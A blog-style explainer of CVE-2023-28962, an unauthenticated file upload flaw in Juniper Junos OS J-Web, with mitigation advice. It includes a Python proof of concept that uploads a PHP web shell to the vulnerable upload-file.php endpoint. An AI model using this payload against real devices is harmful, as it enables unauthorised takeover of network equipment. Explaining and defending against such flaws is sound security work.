CVE-2023-28962 - Juniper Junos OS J-Web Improper Authentication File Upload Vulnerability Explained

Juniper Networks is a trusted name in networking, powering critical infrastructure worldwide with its Junos OS. But even the best software may hide dangerous bugs — CVE-2023-28962 proves it.

In this post, I’ll walk you through the details of this high-impact vulnerability, show you how criminals might exploit it, and offer advice for mitigation. Let’s dive in.

What is CVE-2023-28962?

CVE-2023-28962 is a security hole in the upload-file.php script used by the J-Web management interface in Juniper Junos OS. Due to improper authentication checks, an attacker on the network can upload files to temporary directories — no need for valid login credentials.

The risk? File uploads can lead to device compromise, especially if attackers get code execution or overwrite existing files.

Vulnerability Details

upload-file.php is meant to allow administrators to upload firmware, logs, or configs. Problem is, the script forgets to check if the request comes from a legit, authenticated user.

So, anyone on your network can send a POST request and upload arbitrary files — no password required.

Here’s a simple Python example (educational purposes only!)

import requests

# Target the J-Web management interface IP or hostname
target_url = "https://juniper.example.com/upload-file.php";
file_path = "/tmp/evil.php"

files = {
    'file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream')
}

resp = requests.post(target_url, files=files, verify=False)
print(f"Status: {resp.status_code}, Response: {resp.text}")

What this does:
It uploads a PHP file (evil.php) containing a basic web shell to the /tmp directory.  
On some Juniper devices, further exploitation could allow code execution or privilege escalation.

Why is This Bad?

- No login needed: Attackers don’t need to guess a password — just direct access to the management interface.
- Bypasses firewall zoning: If the J-Web is exposed (even internally), anyone with network access can attack.
- Potential for code execution: Depending on how uploaded files are handled (or chained with other bugs), attackers can take control.

Upload malicious files that act as web shells or scripts.

2. Attempt to execute these files (if the web server serves from /tmp — not usually default, but possible with config mistakes or further exploits).
3. Leverage other vulnerabilities to elevate access, capture configuration, or stage further attacks.

Mitigations and Fixes

1. Patch Immediately  
Juniper has released patches.  
Full advisory: JSA71684: 2023–04 Security Bulletin: Junos OS: Multiple vulnerabilities resolved in J-Web

2. Restrict J-Web Access  
Only allow trusted IPs to access the J-Web interface. Ideally, never expose it to the Internet.

3. Disable J-Web if Unused

If you use CLI or another management method, simply disable the web interface

set system services web-management http interface <none>
set system services web-management https interface <none>

4. Monitor File System
Keep an eye on /tmp and other upload directories for suspicious files.

References

- Juniper Security Advisory (JSA71684)
- NVD CVE-2023-28962 Entry
- Original Report — Tenable Blog *(if available)*
- Exploit Description — VulnCheck

Conclusion

CVE-2023-28962 shows how a simple oversight — missing authentication — can have wide consequences. If you’re running Junos OS and using J-Web, patch now, restrict access, and monitor those devices closely.

Stay updated, stay safe. Knowledge is your first line of defense.

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*(This post is for educational awareness purposes only. Do not attempt unauthorized testing on any device or system you do not own!)*

Timeline

Published on: 04/17/2023 22:15:00 UTC